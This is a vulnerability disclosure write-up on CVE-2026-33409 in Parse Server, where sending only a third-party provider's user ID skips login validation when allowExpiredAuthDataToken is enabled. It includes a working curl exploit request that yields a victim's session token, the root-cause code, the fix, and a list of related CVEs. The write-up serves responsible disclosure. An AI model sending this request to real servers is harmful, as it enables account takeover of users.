TL;DR — Parse Server's login flow for third-party auth providers (Google, Facebook, Apple, etc.) can be bypassed by sending a subset of the stored authData. If you send just {"id": "victim123"} without the access_token, the server skips provider validation and hands you a valid session token. One request, full account takeover. Affects servers with allowExpiredAuthDataToken: true.

background

Parse Server (21k+ GitHub stars) supports authentication via third-party providers — Google, Facebook, Apple, Keycloak, and dozens more. When a user signs up through a provider, the server stores the full authData on the user record: typically an id (the provider's user ID) and an access_token (the OAuth token).

On subsequent logins, the server is supposed to validate the incoming authData against the provider — call Google's token verification endpoint, check that the token is valid, confirm the user ID matches. This is the entire security model for third-party auth. If validation is skipped, the id alone is enough to claim any account.

the root cause

The vulnerability lives in RestWrite.js, in the handleAuthData method. The server computes a variable hasMutatedAuthData by comparing the incoming authData against what's stored in the database:

// Simplified from RestWrite.js
if (hasMutatedAuthData || !this.config.allowExpiredAuthDataToken) {
  // validate auth provider -- call Google/Facebook/etc.
}

The logic: if the authData hasn't changed, and expired tokens are allowed, skip validation. This was a performance optimization — no need to re-validate identical credentials.

The problem is what counts as "not changed." When the attacker sends a strict subset of the stored authData — every key present matches, but keys are missing — hasMutatedAuthData evaluates to false. The existing keys haven't changed. They're just... incomplete.

So an attacker sends { mockAuth: { id: "victim123" } } without the access_token. The server compares: - id: "victim123" matches stored "victim123" → not mutated - access_token: not present in incoming data → not checked

hasMutatedAuthData is false. allowExpiredAuthDataToken is true. Both conditions for validation are false. The provider adapter is never called. The server issues a valid session token for the victim's account.

the exploit

# Victim signed up with Google auth:
# authData: { google: { id: "12345", access_token: "ya29.secret..." } }

# Attacker logs in with just the provider user ID:
curl -X POST "https://target/parse/users" \
  -H "X-Parse-Application-Id: APP_ID" \
  -H "X-Parse-REST-API-Key: REST_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "authData": {
      "google": { "id": "12345" }
    }
  }'

# Response: {"objectId": "victimUserId", "sessionToken": "r:valid-session"}

One request. No access token needed. The provider user ID is often guessable or enumerable — it's a stable identifier, not a secret.

the condition

The bypass requires allowExpiredAuthDataToken: true in the server configuration. The default is false. But the option exists because applications that store long-lived sessions don't want to break existing logins when OAuth tokens expire. It's a common configuration for mobile apps where users stay logged in for months.

The option is now deprecated (DEPPS20) and scheduled for removal in Parse Server v10.0.0.

the fix

Commits 98f4ba5 and 8d7df56 add a single condition:

// Before (vulnerable):
if (hasMutatedAuthData || !this.config.allowExpiredAuthDataToken) {

// After (fixed):
if (isLogin || hasMutatedAuthData || !this.config.allowExpiredAuthDataToken) {

Three characters: isLogin ||. On any login attempt, validation is now always forced. The optimization only applies to update operations, where the user is already authenticated.

the bigger picture

This is the fourth authentication-related vulnerability I've reported in Parse Server. The pattern is consistent: the security model makes assumptions about what clients will send, and those assumptions don't account for deliberately malformed input.

  • CVE-2026-30949: Keycloak adapter never validates the audience claim — a token from any app in the same realm works
  • CVE-2026-30947: LiveQuery doesn't enforce CLP at all — subscribe to anything
  • CVE-2026-30966: _Join tables are writable — inject yourself into any role
  • CVE-2026-33409: Partial authData skips validation — log in without credentials

Each one is a different flavor of the same underlying issue: trust in client-supplied data where there should be none. Parse Server is a framework that sits between untrusted clients and a database. Every input path needs to be adversarial.

This research was conducted for responsible disclosure purposes. CVE-2026-33409.